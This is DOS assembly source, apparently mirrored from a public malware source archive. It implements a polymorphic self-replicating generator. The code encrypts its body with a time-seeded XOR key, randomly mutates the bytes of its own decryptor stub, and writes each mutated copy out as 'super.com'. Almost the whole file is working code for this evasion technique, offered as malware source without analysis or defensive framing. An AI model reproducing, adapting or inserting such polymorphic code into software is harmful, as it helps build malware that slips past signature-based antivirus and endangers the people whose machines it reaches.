mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
220 lines
4.7 KiB
NASM
220 lines
4.7 KiB
NASM
code segment
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assume cs:code
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org 100h
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prog:
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mov cx,(offset last - offset main + 1) / 2
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mov dx,0
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mov si,offset main
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cmp ax,0
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xor cx,0
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nop
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xor si,0
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nop
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l103: inc ax
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l102: inc bp
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l101: clc
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l100: xor word ptr [si],dx
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inc si
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inc si
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dec ax
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dec bp
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loop l100
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main:
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call make
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call save
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mov al,00h
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mov ah,4ch
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int 21h
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cdc dw 0
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make proc near
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call copy
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mov bx,offset dcdr
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call ch1
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call ch2
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mov bp,bx
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mov di,offset dcdd
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call ch30
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call copy1
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call ch4
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ret
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make endp
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save proc near
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mov ah,3ch
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mov dx,offset fn
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sub cx,cx
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int 21h
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jc ioerr
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mov bx,ax
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mov dx,offset prog
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mov cx,offset last - offset prog
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mov ax,es
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mov ds,ax
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mov ah,40h
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int 21h
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jc ioerr
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mov ah,3eh
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int 21h
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ioerr: ret
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save endp
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copy1 proc near
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mov si,offset dcdr
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mov di,offset prog
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mov cx,offset dcdd - offset dcdr
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rep movsb
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ret
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copy1 endp
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ch4 proc near
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mov ax,cdc
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mov bx,offset main
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mov cx,(offset last - offset main + 1) / 2
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push es
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pop ds
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lch4: xor word ptr [bx],ax
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inc bx
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inc bx
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loop lch4
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push cs
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pop ds
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ret
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ch4 endp
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ch30 proc near
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sub cx,cx
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mov cl,byte ptr [di]
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inc di
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l30: call ch31
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add di,3
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loop l30
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ret
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ch30 endp
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ch31 proc near
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push cx
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mov cx,8
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l31: call rndm
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call ch32
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loop l31
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pop cx
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ret
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ch31 endp
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ch32 proc near
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sub ax,ax
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mov al,byte ptr [di]
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mov si,bp
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add si,ax
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mov al,byte ptr [di+1]
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mov bx,ax
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mov al,byte ptr [di+2]
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call ch33
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ret
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ch32 endp
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ch33 proc near
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push cx
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lbeg: rcr dx,1
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jc noch
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mov cx,bx
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lch: mov ah,byte ptr [si]
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xchg ah,byte ptr [si+bx]
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mov byte ptr [si],ah
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inc si
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loop lch
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jmp short lend
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noch: add si,bx
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lend: dec al
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jnz lbeg
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pop cx
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ret
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ch33 endp
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ch2 proc near
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rcr dx,1
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jc nobx
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inc byte ptr [bx+03]
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add byte ptr [bx+24],8
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nobx: rcr dx,1
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jc nodi
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inc byte ptr [bx+06]
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inc byte ptr [bx+17]
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inc byte ptr [bx+24]
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inc byte ptr [bx+25]
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inc byte ptr [bx+26]
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nodi: ret
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ch2 endp
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ch1 proc near
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call irnd
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mov word ptr [bx+04],dx
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mov cdc,dx
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call rndm
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mov word ptr [bx+01],(offset last - offset main + 1) / 2
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xor word ptr [bx+01],dx
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xor word ptr [bx+14],dx
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call rndm
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mov word ptr [bx+07],offset main
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xor word ptr [bx+07],dx
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xor word ptr [bx+18],dx
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call rndm
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mov word ptr [bx+10],dx
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rcr dx,1
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jc no1
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inc byte ptr [bx+30]
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no1: rcr dx,1
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jc no2
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inc byte ptr [bx+30]
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inc byte ptr [bx+30]
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no2: ret
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ch1 endp
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copy proc near
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mov ax,cs
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add ax,1000h
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mov es,ax
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mov si,offset prog
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mov di,si
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mov cx,offset last - offset prog
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rep movsb
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ret
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copy endp
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irnd proc near
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mov ah,2ch
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int 21h
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add dx,cx
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ret
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irnd endp
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rndm proc near
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mov ax,cs
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mul dx
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add dx,ax
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ret
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rndm endp
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dcdr db 0b9h,0aeh,0,0bah,10h,20h
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db 0beh,1fh,1,3dh,0,0
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db 81h,0f1h,0,0
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db 81h,0f6h,0,0
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db 40h,45h,0f8h
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db 31h,14h
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db 46h,46h,48h,4dh
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db 0e2h,0f5h
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dcdd db 4,0,3,3,12,4,1,20,1,2,25,1,3
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fn db 'super.com',0
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last label byte
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code ends
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end prog
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